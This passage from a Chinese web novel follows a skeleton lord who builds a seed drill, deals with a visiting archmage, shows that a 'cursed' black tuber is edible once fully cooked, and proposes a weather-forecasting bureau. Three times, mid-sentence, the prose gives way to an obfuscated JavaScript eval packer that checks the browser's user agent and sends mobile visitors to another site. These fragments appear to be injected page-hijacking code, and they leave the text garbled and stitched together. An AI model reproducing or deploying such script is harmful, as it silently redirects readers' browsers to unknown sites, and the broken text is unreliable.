格伦不知多久没有眨过眼,用目光一寸寸剖开耧车。脑中忽然闪过贾文提到的“他们”,他吐字清晰起来,或者说,是一字一顿,郑重而渴望地开口。 “贾文大人,恕我冒犯,我可以知道‘他们’是谁吗?” 贾文停顿片刻,格伦见他放下笔,言语中藏着不易察觉的怀念。 “是我的故土,两千多年前的先人将它创造出来的。” 原来是异界的东西,的确想得明白了,从未听说过哪个地方有这样的器具,即使奥兰迪尔王国也不例外。 而格伦敏锐的工匠直觉提醒他,领主自异界而来,这般精妙的农具,千年以前就有了。 ……那么,现在呢? 后背窜上一股寒意,延伸到四肢的时候,化为熔岩热流。恍然间,格伦回到孩童时期,第一次看到车轮如何被制成、在眼前流畅滚动之时,那样神奇、炫目、令人求知若渴的感受重新填满血管。 异界领主似乎看透他心中所想,说道:“很多事物,现如今的冥窟,乃至界外的任何一个地方,都不可能被制造出来。” 话说得斩钉截铁,格伦瞳孔摇颤,仿若被鞭子打回现实。 然而骨手拾起羊皮纸,递来这份最初的图纸。 “但依然有数不尽的东西可以被制造、改进,等待着来到这里。” “格伦,罗瑟拉姆犁让我见识到了你的本事。相信今后,更多的事物能通过你的手,通过冥窟其他工匠的共同努力,将它们带到冥窟,以及冥窟外的每一片大陆。” 如果魔鬼在此降临,窥探到格伦的内心,那么上面一席话,大概便是魔鬼为了骗取灵魂,说出的最为蛊惑人心的一番话。 然后,格伦慢慢地、颤抖地接过图纸。 …… 不枉贾文在梦境图书馆照着例图默画许久,自那天以后,秃头工匠开启字面意义上的“闭门造车”。 赶制三脚耧车是有原因的:贾文找人一问,得知之后播种还要靠手撒! 手撒效率本来就低得可怕,每一亩田那么大,要精细地控制量,控制种子间距,那得搞到猴年马月啊!于是冥窟的人撒播点播,得拿前一次收获来的作物,分出几乎一半的种来种地。 废那么多物和力,还极有可能吃力不讨好,没办法尽量做到控量、控距。后果便是长出来的作物出苗率低,不整齐,不好除杂草,作物哪能长得好? 耧车的作用此刻就能显现出来了:不仅能尽量解决以上问题,而且集开沟、播种与盖土为一体,又快又好,事半功倍。 这“联合播种机”神器,早在前世故土的西汉时期就有了,由搜粟都尉赵过制作出来。贾文简直想给老祖宗磕个头,谁能想到某天可以造福异世。当然,未来能磕的人类先祖或许数不胜数。 选种的事也没落下,新犁制作期间,贾文向玩家发布了两条悬赏任务: 第一条,是选有农业知识,最好从事过农业生产的玩家,来帮忙看看作物,然后手把手教当地民众选种,育种。顺便打探玩家生活的世界,农作物方面是否跟冥窟相近,间接可以知道,和他原世界是否相似; 第二条,是寻找高产作物。 由于是长期且阶段性给予奖励的特殊悬赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293113|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务,踊跃接取的玩家还真不少。 肯定有一部分会看在给的经验多,奖励多的份上来浑水摸鱼,于是脑内颁布任务的东西似乎心领神会——他打算给第一个任务设置门槛,设置问答,接任务前,便自动安排了一些农学和基础相关的随机考题。 考题自然不是贾文出的,至于什么内容,他也并不清楚,无法查看。似是自适应玩家们的世界而替他安排,也与贾文之间隔出一堵看不见的墙。 说实在的,很糟糕。贾文发现这一点后,再次油然生出一种恐惧。 宛若始终有一个未知存在,强大到让人无法理解,控制着世界两端,一直注视着他的所作所为,以及“游戏”发展。 那个存在却并不直接参与,给予贾文极大的权限,给予他所想要的、对玩家的安排。而某些时刻,从某些角度,又悄悄泄露真实一面:是“祂”在放权,是“祂”掌管着一切。 贾文每每发觉这一面,便竭力控制自己不去细想,扼制思绪和精神走向崩溃。 反正考题一出,确实成功筛掉许多试图混经验的玩家,“策划”也被挂在论坛上大骂特骂,好不容易有特殊任务,搞什么硬核门槛,经验就这么难混吗?! 没错,论坛开放了。谢天谢地,无法知晓的存在没有把他和玩家论坛隔开。在没有电子设备和互联网的时代,逛论坛已成贾文唯一的慰藉。 贾文正刷着一篇帖子,内容是玩家自己做的记录。 那位玩家成功接取选种任务,往返田间地头和粮仓内外,同农田管理人不停对接,游戏时间过去了好几天。 帖子记录得比较详尽,将冥窟内目前主要种植的作物,如小麦大豆等情况,做出描述分析,其专业程度像极了在写调研报告。 该玩家同样深刻体会到,冥窟生产水平非常落后,选育繁育的技术亦是如此,相较于玩家现实生活中的世界尤甚。怎么选,如何选,相对缺少经验。 新犁恰好有了,贾文事先咨询过冥窟当地人——也就是被幽影人问得晕晕乎乎的极夜堡农田管理人的意见,选择几片地垦荒,准备作为专门的试点田。 玩家们同样迫不及待……嗯,是迫不及待想拿到第一阶段的丰厚经验和报酬,等级超过其他玩家一大截,获得限定头衔,得到专属奖励道具等等。 贾文视线停留于帖子最后一行内容:[吗的,谁来付我工资。]随后被远处的嘈杂动静吸引。 极夜堡城门口,两个幽影人立在外围,身侧空气凝滞胶化,接连吐出另外几名幽影人。 看来是一队玩家。贾文翻身下马,随着玩家靠近,叽叽喳喳交谈的内容被他听去:原来是接取过另一个特殊任务,寻找高产作物的玩家。 任务没有成果无法被提交,而此刻能被玩家找上来……这么快就有进展了?他诧异挑眉。 “活的领主!”玩家难得一见贾文,有要紧事完全不着急汇报,把他围着一顿细细打量。 火焰骑士佩顿把幽影人赶开些,知道他们虽然是贾文大人的臣民,但说的什么话,怎敢如此不敬?不是活的,难不成还是死的吗。 贾文没什么反应,装作不知道他们的稀奇劲从何而来,对着一位安安静静的玩家问道:“何事?” 玩家突然被搭话,有点不知所措,恨不得钻到队友身后。 [呜啊妈妈NPC太活了我社恐犯了。]但骷髅领主明确搭话的是他,他只能磕磕巴巴地应道,“我,我们来给你送这个。” 幽影人往空气里一抓,摘出一颗东西。无论看多少次,火焰骑士佩顿仍然会对幽影人凭空变物的能力感到稀奇。 贾文接过,放在手心端详:圆溜溜的,约莫半掌大小,他需要把白骨手指拢着,方便抓握。骨掌苍白光洁,与那东西黑乎乎的颜色形成鲜明对比。 其中一位玩家出声:“这东西我们弄熟吃了,太像土豆,口感和味道几乎没啥差别,比土豆还更好熟。” 贾文捏了捏,实而硬,除了外皮黑得比较纯粹,相对没那么粗糙以外,的确和土豆的手感很像。 佩顿不知他心底掀起怎样的风浪,只是听领主问道:“你认识吗?” 佩顿方才起就有些欲言又止,也跟着观察一会,终于确定了,一言难尽地说:“认识,但是没人会吃它,因为……” “因为这东西有诅咒!” 一道洪亮的喝声打断他们,众人循声望去,一队人马没有从极夜堡正前方的主干道出现,而是从旁侧慢慢靠近。 打头之人是名男性,风尘仆仆走来。 “扔掉它,如果不想被诅咒的话。” 12.诅咒土豆 此人身形高大,斗篷裹得比幽影人紧,帽口比幽影人还宽,只露出下半张脸:下颌角宽大方正,唇角正因某些情绪微微紧绷。 他边走边摘下兜帽,亚麻色的中长发被兜帽带起几缕发丝,显得稍许蓬乱。 对方已有一些年纪,五官量感很大,分明是端正的,却是一张会给人带来刻薄印象的脸。这会儿神色严肃,刻薄感愈发明显。 他的身后还跟着七八名穿着相仿的人,一同朝这边走来。 贾文没有松手,而是面向这位中年男人。 看清贾文毫无血肉的骸骨面庞,这人一怔:“‘王座钦定者’?看来传言非虚,老巫师有点本事,竟然真的能从异界召唤来一个人。” 他自说自话似的先说完一段话,没有控制声音,仿佛根本不怕贾文及在场众人听见。火焰骑士迈前一步,将贾文半挡在身后,他却不满地忽视了,在贾文面前站定。 “贾文大人。”男人右手一挥,宛若掸开碍眼的火焰骑士,又把手放在左肩上,“在下金·帕切科,奉王命前来襄助。” 佩顿面部一阵扭曲,变回正常模样,能清楚地看出一脸怒色。他不是为对方忽视他而生气,而是…… “你就是那个界外派来的魔法师?” 大魔法师淡漠反问:“正是,如何?” 初见火焰骑士的时候,佩顿便为贾文介绍过冥窟的状况,以及界外对冥窟的态度。其中提到,国王委派过一名魔法师,协助解决万年灾祸。 [诶,真弹等级了!] 玩家安静如鸡不过半分钟,一看男人头上跳出魔法等级,“嚯”一声开始交头接耳。 [我没看错吧,这人居然是八级魔法师!后面那些人等级也不低!] [哥们连一级都没练到,全服谁魔法等级超过一级了?] [别是个BOSS,感觉会被秒……虽然迷宫还没开。] 贾文侧耳听着玩家交谈,有点纳罕。眼看佩顿即将出口指责,他伸手拦下。 “国王愿意襄助,不胜感激。”贾文主动出面,“看来不用自我介绍了,帕切科先生,您知道我的名字,应该知道冥窟的情况了——深渊之门已经关闭,灾祸已经解除。” “……此事需与您详谈。”大魔法师却道。 贾文听懂了,对面这是还没搞懂具体状况。 事情本来就挺离谱,他们能出现在这里,说明是在深渊之门关闭前进入冥土的,否则会被关在“门”外。可距离关上深渊之门过去一个多月,他们才赶到极夜堡……这一个多月干吗去了? 贾文委婉地提出疑问,只问一行人从哪过来,怎么找到的极夜堡。 大魔法师表情有些难看,由他身后的其他魔法师随从简短解释。 一行人通过陆地境线,刚踏上冥土,向导突然不知所踪。大概是畏惧万年灾祸,溜了,但想回头找人的时候,发现通往奥兰迪尔境内的道路也消失不见了。 地图不在他们手上,只能靠着传言和对地图的模糊记忆,慢慢寻路,遇人打听。能在一个多月内找到地点,称得上幸运和奇迹。 听完解释,贾文无言以对,火焰骑士差点被气笑。 因为算上时间,两地陆地通道消失当天,正是大家去雾海关上深渊之门、“灾祸”降临的那天。 魔法师们迟到太久,说难听点,若真有什么大灾难,这帮人早跟着折在这儿了。 “既然了结了灾祸,可否为我们打开深渊之门?”其中一名随从问。 贾文摇头。 “首先,深渊之门不会为谁而开。”贾文申明。 面对魔法师们越发难看的神情,他沉住气,继续说:“冥窟现状特殊,民众需要休养生息。等境内稳定下来,才会考虑‘开门’的事。” “我清楚各位归家心切,也感谢各位不远千里向冥土施以援手。尽管放宽心,深渊之门一定会再次打开。在此之前,不妨先在这里做做客,当作一场目的地是冥窟的旅程。我会让人提供停留在冥窟期间的所有食宿,各位是座上宾,一定安排妥帖。” 有一两名魔法师想要发作,但话都被贾文说完了,也说会安排食宿。或许一路长途跋涉兜兜转转,又风餐露宿,实在累坏了众人,令他们对一个安稳的落脚地产生渴望,对提议确实有些动心。 几人看向大魔法师帕切科,见他下巴轻点,于是大家不做声,默许贾文的提议。 贾文也暂时放心,那大魔法师看着是个不太好伺候的,还以为会提些刁钻的提议。既然现在什么都没说,这事可以先过去了,打算让几人跟进极夜堡。 “还有一事。” 他后背一紧,做好讨价还价的准备。大魔法师垂下矿石般的蓝眸,视线对准他手心之物。 “刚才就提醒过您,它有诅咒,把那东西放下。” 贾文摊开手指询问佩顿:“真有诅咒?” 佩顿却否认:“是界外人的说法,只是有人吃过肚子疼。以前有人想卖到界外,但是有天被那样传谣,后来不让采了。” 玩家兴致勃勃前排看了会剧情,眼下提到的事物算是跟他们有关联,听NPC们一口一个诅咒,给他们整得有点不自信了。可要是真有,物品信息也没写呀,还是没发现就不会显示? “也吃死过人。抱歉,大人,多有冒犯。”帕切科见贾文还不打算扔掉,举起食指轻轻旋动。 一股强风陡然涌向贾文,他下意识想握紧东西,没抓稳,手中物品摔向地面。 风刚刚停下,又一道异常强劲的气流在脚底凝聚,仿若许多张纸片叠在一起,压缩到极限,直对着地上的黑色“果实”劈去! “啪!” 黑色“果实”从中间绽开。 在场许多人都震撼于这瞬息之间的变化,尤其对地上的东西被一分为二——气流好似成了一把真刀,对实物造成实质性伤害。 [老天,这就是八级魔法师的实力吗?能不能别变成BOSS?] [我魔法能力就是风,之前还觉得鸡肋,打算之后转能力来着,这还转个毛,帅惨了。]也有玩家兴奋了,“等着,我要疯狂练风魔法卷死所有人!” 大魔法师朝激动得嚷嚷的幽影人分去一个视线,收回来时,对上火焰骑士愠怒的眼神。 愠怒当中深藏着恐惧,被竭力压抑,又忍不住浮现,那是对魔法的忌惮。 “你怎么敢对冥窟的领主动手!” 帕切科见过太多这样的眼神,一旦一种力量具有威胁性,且不为人理解,掌握在少数人手里,总会招来畏忌。 “我没有打算伤害王座钦定者。”帕切科没有理会,让众人注意力转回正题,“都看看地上吧。” 地上的东西被切开两半,内里一片黑色,越靠近中心,黑得越纯粹。只看外观是有点邪恶,不像人类会在自然界中选择食用的食物。 “这等形貌污秽之物,曾经被你们的商队偷偷拿到奥兰迪尔境内贩卖,不少人吃了上吐下泻,呼吸不上来,最后命丧家中。不是诅咒,还能是什么?” 对于大魔法师的言论,玩家纳闷地说:“那咱们早该中招了,昨天我们一人炫了五六颗呢。” 这些个大馋小子。贾文无语,但在心中暗忖:佩顿和帕切科描述的状况很像中毒症状,程度比较严重,然而玩家吃过之后没有负面状态。到底是玩家对它具有某种免疫效果,还是像他所想的那样…… “佩顿,之前的人一般怎么吃它?” “回大人,我没吃过,吃它的人也少。但……不是洗净之后就直接吃吗?” 贾文转向对面:“帕切科先生,关于食用过后死亡,有没有人看见过,或者记录过那些食物的状态?” 大魔法师皱皱眉:“这我要如何得知?” 看出骷髅钦定者好似对诅咒浑不在意,而是思索着什么,他警告道:“我已予您告诫,还望您能够重视。” “那你们能把诅咒净化了吗?”玩家开腔。 帕切科一噎,玩家见他答不上话,无趣地抱臂:“那没事了。” 帕切科脸上多了些色彩,身后一众魔法师也露出被不明不白冒犯后的不忿之色;火焰骑士压住唇角,头一回觉得幽影人的“无礼”是那么爽快。 “您也应该有所耳闻,他们是幽影人,深渊来客,我的臣民。刚刚来到这儿,还不是很熟悉冥土……包括界外。” 贾文向他颔首,以示见谅,但没有对幽影人提出的问题进行任何驳斥。 “您放心,我自有分寸,不会拿人命开玩笑。天灾的情况稍后与您细谈。大家舟车劳顿,需要好好休息,先进城堡吧,晚些设宴款待各位。” 大魔法师闭口不言,发出一声轻而沉的哼声。 城堡外围的巨门缓缓打开,贾文招呼佩顿先带他们进去,他还有点事,稍后再跟来。 一众魔法师先行进入极夜堡。帕切科朝身后望去,随后瞳孔瞪大——那些无礼的幽影人拿出许多诅咒之物,递交给王座钦定者。 他并不是因为看到诅咒之物,才有的这般反应,而是为他们的凭空变物,为他们仿佛有着另一片虚空中的囊袋,从空气里轻轻松松掏出东西而大吃一惊! 帕切科想要折返,被极夜堡管家的询问声打断。等再度回首,幽影人已消失不见。 他压下胸中巨震,迈入城堡,一个人快步走过,和钦定者的贴身护卫简单说了几句话。 男人侧着身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304361|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以清楚看到浅褐色的短发两鬓泛白,帕切科的视线定格在对方的五官,定格在那双正好抬起来,与他相视的浅金眸子。 “恭候大驾,帕切科先生,我是威廉·坦尼森,冥窟的政务总管。恕我还有要事在身,无法奉陪,愿您能歇息好,在冥窟过得愉快。” 男人自称坦尼森,留下这段话后,便匆匆离开。 帕切科双眼始终追随着对方的脸,跟随对方的身影,蓝宝石般的眼睛充斥着探究、不确定,却又有一丝迷惘的了然:如同知道为何如此,但更为这一事实感到错愕和怀疑。 仿佛坦尼森原本不是坦尼森,原本不会出现在冥窟,也不会像现在这样…… 大魔法师陷入长久的深思。 - 关于“诅咒果实”,贾文派那几位玩家多采集一些,这一次,除了黑漆漆圆溜溜以外,明显多了很多不同的状态。 稳妥起见,肯定用动物先试毒。大家发现,生吃的确会引起异常反应,但一般比较小。 当其中一颗身上明显有凸起,长出芽的喂给动物,许多动物便呕吐、腹泻,呼吸困难。一些食用过量了的,没能挺过去。以上反应和大魔法师帕切科的“诅咒”说法相吻合。 放入沸水做熟的时候,发生了最奇异的变化——它们的身体渐渐褪去漆黑,随着烹熟的程度,开始一点点变白,到了确保是熟的状态,浑身都是奶白色。 烹熟后,动物食用它完全没事,拿给人吃也一点事都没有。 贾文也吃了——在火焰骑士的盯梢下,确保试毒人无事发生之后。 东西熟得非常透,可能还微微过了头,稍微使点力,就能把它碾成奶白色的泥,淡淡的热气蒸腾而上,独特的食物气味混着一缕奶香。 放在齿尖与舌尖碾开,便能发现那抹奶香不是错觉,随着又面又化的口感,悄悄在味蕾上流溢,虽然味道极淡,却会使人暗道惊喜。 你说巧不巧,贾文前世的世界,正好有一种作物与它极其相似。 不过它和真正的土豆差别也有,生的毒性更大,外观和颜色显而易见,熟后的颜色更白。如玩家所说,更好熟一点; 味道方面很淡,不过比起自身的味道,独特的奶香更加突出,像土豆泥中加入了一点牛奶。淀粉含量应该也不少,细细品尝能尝出一丝甜味。 真的能让他发现土豆吗?就在冥窟这片土地上。贾文思绪翻涌。 他提醒自己,那不是土豆。 即使发现的地方土地并不肥沃,说明似乎也可以在贫瘠的地上生长…… 高不高产还得另说,还要试种才能知道。 如果和土豆及其相似的话,种植的地最好还是别太肥,而且不能连种,不然对土壤肥力消耗太大了…… 东西很有可能不太好售卖,人们还认为它身上有诅咒。 但是东西饱腹感很强,做主食非常合适,产量跟上来了,可以填饱很多人的肚子…… 什么诅咒不诅咒,人都吃不饱了还管这那的,饥饿才是最大的诅咒。 贾文把剩下半块塞进嘴里,恶狠狠又充满喜爱地猛嚼。就算是为了私心,他也再也不想过每天睁眼闭眼主食都是豆子面包麦粥的绝望生活了。 于是贾文立刻让人专门去采集,选地好好种起来。手一挥,给玩家经验结算。 “冥窟人没给这玩意起名,该怎么叫呀?”一名幽影人吃得正香,东西一到嘴边就像被虚无吸走,看不见在咀嚼。 “我觉得‘昼夜之果’就挺好的。” “你这没我想的好,叫‘堕天使之泪’……不是,笑啥?你们不觉得吗,外表看似堕落,实际上跟天使一样白白净净。” 其中一名幽影人白他一眼:[太装了,跟那个八级魔法师似的。] “那不然呢,都不算土豆,难道要叫欢乐豆啊!” 幽影人们蹲在地上讨论作物要如何命名,忽然看到任务完成了,一下子弹射起身,领到超多经验,角色等级直接从三级变成四级;衣袍发生细微的变化:点点银光如同针绣,在衣袍中暗流涌动。 要知道,这破游戏想升一级忒不容易,这下他们遥遥领先全服了!作为首批完成特殊任务的玩家,有着超凡的意义! 火焰骑士看着这群幽影人突然疯了似的大叫,莫名开始欢欣鼓舞,还有人扑到领主脚下夸张跪拜。 不到片刻,众人突然安静,接着用显而易见地嫌弃语气嘀嘀咕咕,一哄而散。果然还是一群怪人,火焰骑士表情一如既往地鄙夷。 [刚还没注意任务信息,怎么就叫黑土豆啊。] [啧,这游戏太没品了。走了走了,逛论坛去了。] 敲定名字的贾文:…… 13.巫师族 “慢点走,长老。” 卡隆缓步走下楼梯,身后出现一人挽住胳膊,搀着他慢慢向下走。 “伊昂,没必要牵这么紧。” 伊昂是他曾经的学生,巫师族的一员,也是如今这座法师塔的管理者之一。自从成为管理人,这位学生便忙得不可开交,明明都在一座塔里,时常忙得面都见不上几次。 万年灾祸消失后,整座塔清闲了下来。清闲是好事,他们不必再为灾难而忧心忡忡,不分昼夜地解开星谜。 度过一段时间的安闲,新的担忧却在伊昂身上越积越深。卡隆明白学生的愁绪从何而来,这也正是伊昂现在找上他的原因。 “长老,钦定者那边……” “你该称呼领主,或者贾文大人。” “是。”伊昂为失言感到尴尬,但刚才绝无轻视之意,在巫师族眼里,王座钦定者的身份更为显达尊贵。 “没有安排。贾文大人最近劳碌得很,冥窟上上下下有太多事务等着他处理。你知道吗,最近工匠在制作新的农具,贾文大人从异界带来了许多主意,今后还会更多。你该去看看,伊昂,多么不可思议啊。” 卡隆巫师笑呵呵地说着,旁侧的人勉强提了下嘴角,微笑显得怪异而苦涩。 长老的第一句话已经是答案,王座钦定者——他们的领主,对巫师族没有任何安排,甚至是关注。 以往的领主们对待他们皆是忌惮与敬重并存,虽然还比不上魔法师,但比魔法师更加需要、畏惧他们。 因为巫师一族天生拥有预言和占星占卜的能力。当然,个人之间存在差异,能力越突出,越受尊敬,一众长老之位便是由此推举而来。 界外王国的宫廷,也有巫师族在任职。但进入了那样的权力漩涡,往往没有太多好下场。 至上的存在可以随意使用他们,也可以将罪责与失败推卸给他们,曾经一段时间里,他们被视为弄权者,好一阵遭到唾弃与围猎。大部分回到了冥窟,回到真正孕育他们的胎腹之地。 然而巫师族仍然需要王侯们的目光,为何?因为族群数量并不庞大,甚至很少很少,极难诞下子嗣,传下血脉。于是必须获得一部分“权”,创造能够等待后代安稳成长的环境。 万一哪天失权,再遭遇忌惮的围剿,群星会真正陨落,夜空彻底变为一片死寂;无人愿意像他们一般狂热地想要窥视天空、群星、遥远深渊的奥秘。 伊昂的担忧和贾文深有关联。不止他一个人发现了,这位王座钦定者并没有想象中那般重视巫师族,或者说,看重他们的能力。 王座钦定者似乎不想偏信“预言”,就像麦拉索丘陵的那次战役,只要举全族之力努努力,应该可以为战役卜得结果。然后做出估算,用不用考虑另外的方法,毕竟战争结果对冥窟的影响非同小可。 伊昂那时在场,他亲眼见到王座钦定者没有多少犹豫就拒绝了。结果出乎所有人意料,他们能够靠幽影人的帮助取胜,自然是皆大欢喜。 有胜算的情况下,或许可以不用靠这些办法。伊昂却真切地感受到,抛开一切原因,贾文实际上不想倚赖预言。 钦定者对星辰没有信仰,也从不见他做过任何祷告。他看向他们的眼神,与注视着没有任何能力的民众无异……即使这是巫师族们心底最为渴望的。但为了处境,他们必须考虑更多。 “别担心,孩子。” 卡隆巫师感觉到搀扶自己的手慢慢攥紧,不安的力道传递了过来,他没有像先前提醒对方。 他拍拍伊昂,走下最后一级台阶,却没有说出更多话。 “老师,您不在法师塔用餐吗?”伊昂的不安使他一时忘却卡隆的长老身份,唤回最亲切的称呼。 “不了,我要去极夜堡,一位老朋友造访了,要去见见他……不用送,没几步路,法师塔就在极夜堡旁边。” …… 卡隆巫师拐杖敲击地面,一下一下,声音从泥土与石子小径的平缓,到极夜城堡内石砖地面的清亮,再到地毯上的闷响。 一见到对面成熟太多、依旧如年轻时一个模子里刻出来的面容,尤其是那双刻薄而锐利的宝蓝色眼睛,卡隆巫师缓缓地笑起来。 “怎么都拄拐杖了,老家伙?” “上年纪啦。你也是,帕切科。” 大魔法师帕切科帮他把拐杖放到一边。二人坐在阳台前,午间阳光暖融融地洒在身上。 外面是城堡的背面,视野极其开阔,城防之外,是大片开阔的平地与沼泽地。东可见大片树林,绿植郁郁葱葱;西可见遥远处的海岸,一点蓝色依稀铺在天边。 二人静静看了会儿远方,大魔法师想给卡隆巫师倒杯红酒,卡隆巫师婉拒,只喝白水。 “冥窟的水很好,没有你们界外一些地方的困扰。” 帕切科顿了顿,瞪了下对面:“那是谬误,现在建起了‘大管道’,有清泉水输送到城市里。” 对上对方的眼神,又是微微恼怒。 “上了年纪看什么都慈祥,是吗?” 卡隆巫师笑颜逐开,啜饮一口白水,二人之间的氛围似乎很久以前便是如此,方才拌两下嘴,反倒更加松弛了。 “听王座钦定者说,是你把他召唤过来的。”帕切科道。 卡隆承认,也告诉他为了召唤王座钦定者,巫师族牺牲了一些长老。想到那位冥窟新领主向他描述深渊之门关闭,以及“灾祸”降临,大魔法师沉默半晌,不知心中所想。 “你愿意留下来,是因为想观察王座钦定者。”老巫师用陈述的口吻说道,“你愿意相信预言,过来帮我们,也清楚如果失败的后果……” 帕切科再度有些烦躁,老东西不仅会“巫术”,似乎一直都有读心术,轻易能够看穿他。 “是,那又如何?还不是你很早之前便告诉过我,深渊之门和出现钦定者,对你们如何重要。就这样说吧,我是看在你的份上才愿意协助你们。” 卡隆笑而不语,知道事实不止于此。只是…… “奥兰迪尔全境找不出比你更优秀的魔法师,国王也清楚,把你派来到此地,可能会发生的后果。” 大魔法师默默无言,不必多言,二人对原因心知肚明,他们是处境相同的一类人。而卡隆猜测,或许这也是帕切科决定呆在冥窟一段时间的原因。 “总之,我只为自己是‘最优秀’的魔法师感到悲哀。”帕切科如此答复。 他想起一件事,问:“你们的政务总管坦尼森……”说着,渐渐没了声,似乎在考虑要不要继续询问。 “坦尼森怎么了?”卡隆关心地问。 帕切科叠放在腹部的两只手互相摩挲,少倾,正当他准备启唇,开着的门扇被扣响。 帕切科大声让进,仆人端着午餐进来,为两位大人摆好餐盘与食物。等仆人退下,二人发现今天的餐食好像有所不同。 餐盘上,两碗炖肉当中都有着乳白色的、切成块状的食物,夹杂在褐红色的牛肉、黄白色的卷心菜与洋葱之间。它们都被汤汁浸着,香味与往常有些相似、但又有些微地不同。 他们各自的餐盘上,又多出一份同样是乳白色的东西,被浇上加入胡萝卜碎熬煮的肉汁。 “这是什么?” 帕切科用勺子舀起炖肉中的东西,见卡隆摇头,他放到鼻子底下闻一闻,没什么特殊的味道,迟疑地放进嘴里。 一入口,用牙齿轻轻一切,帕切科便觉得这种食物要在嘴里化开。口感十分奇异,像快煮烂的胡萝卜,但更加绵软,沙沙的,非常柔和。 而卷心菜、洋葱和牛肉的味道都被浸了进去,口中充斥着肉汤的味道,又有着此物独有的一些口感。 他细细嚼着,终于发现今日炖肉那一丝缕的不同——奶香。 在所有食材里,它的味道并不突出。没有喧宾夺主,而是充当最中间的调解者,同时将其他食材包罗进去,成为肉汤当中不可或缺的一部分。 卡隆先品尝的是另一份菜:他勺子一挖,才发现它们被捣成了泥状,很是新奇。 老巫师牙口不好了,这份食物却让他吃得毫无负担,几乎不用怎么咀嚼,便在舌尖上化沙了。 胡萝卜碎没有非常软烂,在抿开乳白色的“泥”时,能感受出不同的口感,倒是挺有一番乐趣。肉汁熬得十分浓稠,混入其中时,像在吃一大口有形的肉汁。 这碗当中奶香味更加明显,也只是极轻微的一点,将味道称得更加浓郁且柔和。 可以确定的是,他们不知道新食材是何物,即使是界外的奥兰迪尔王国,帕切科也从未吃过,都为这新奇的食物感到惊喜。 门口又传来敲门声,帕切科探头一看,发现是冥窟的新领主来了,二人起身相迎。 “打扰二位用餐了。”贾文没有佩戴银面具,让他们坐回去,从语调之中能感受出愉快,“吃得怎么样?” 卡隆笑盈盈地看向他,用勺子指着碗:“贾文大人,这是何物呀?” 帕切科察觉到老巫师对贾文的态度,那是毫不作假的尊敬和喜爱。 “先说说你们吃过感觉怎么样。” “很好,非常好,我很喜欢。”卡隆给出称赞,他的确非常喜欢,味道好,重要的是一口老牙吃着不费力。 大魔法师满意地点头。 “这是‘黑土豆’,我把他称作黑土豆,在冥窟发现的作物。实际上它一直都有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314754|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很早被人发现了——就是又黑又圆,小小一颗,被称作有诅咒的那东西。” 大魔法师点不动头,愣住了。 “我不是告诉过您有诅咒——”他猛地抽开椅子站起来。 贾文的眼洞散发着“稍安勿躁”的紫光,谁知道怎么看出来的。 “黑土豆生吃、发芽的时候确实有毒,毒性也不小。只要烹饪过后确保通体全白就没问题了。” 卡隆巫师稀奇地问:“您是说,它是煮熟之后变白了?” 他已经知道此物是什么了,以前差点吃到过,但正是因为诅咒的传闻,法师塔的厨子不敢去做。 贾文点头应是,帕切科在一旁被气得不轻,扔下勺子,走到桌前面对贾文。 “我明白了,您打算种它。若是真有诅咒,您要所有人怎么办,你要卡隆巫师怎么办?” “我也吃了。”吃得还不少。贾文没把这句说出口,“我说过,我不会拿人命开玩笑。比起诅咒的说法,我更想知道它的实质是什么,本质是什么。” “于是我们做了很多观察和测试,确认是食物身上自带的毒性,才把它端上餐桌。” 贾文手撑在卡隆巫师身后的椅背,换一种轻松的口吻,话里含义却毫不含糊。 “如果‘诅咒’是能让人吃饱饭,在我看来,那就是祝福。” 帕切科的眼神由严厉逐渐转变为一种审视,他审视贾文的态度,审视贾文的心思。 似乎过去很久,似乎只是短短一瞬,帕切科收回眼神,不知自己表情成了何种模样。 大魔法师披上斗篷,卷着衣摆转身离开。 “帕切科气性很大,您别见怪。”卡隆道。 “我没有生气,能理解他为什么会这么激动,他的担心不无缘由。” 贾文望向还没吃完的食物,叹了口气。食物不会浪费,仆人们会分着吃完这些残羹冷炙。贾文不想看到这样,但不得不承认,这是当前不浪费的最好办法。 贾文拉开椅子,和卡隆巫师面对面坐下。对方还没吃完,他便慢慢陪着聊天,直到卡隆巫师用完饭,有人撤下餐具。 “贾文大人,找老朽是有何事?” 老巫师明白领主有事同他要说。 “找您的确有事想商量。”贾文身子微微前倾,“我想让成立一个气象预报部门,由巫师族担任主要职务,承担主要任务。” “什么……”卡隆双目茫然,没太听明白,预报似乎能明白,气象是何物。 贾文解释:“就是平时观测气候、预报天气,尤其侧重为农业服务的天气预测的部门。” “您和我说过,巫师族也可以预言天气。如果能预先知道未来几周,甚至是几个月内天气会有什么变化,雨多不多,大概什么时候开晴,有没有特殊灾害……” 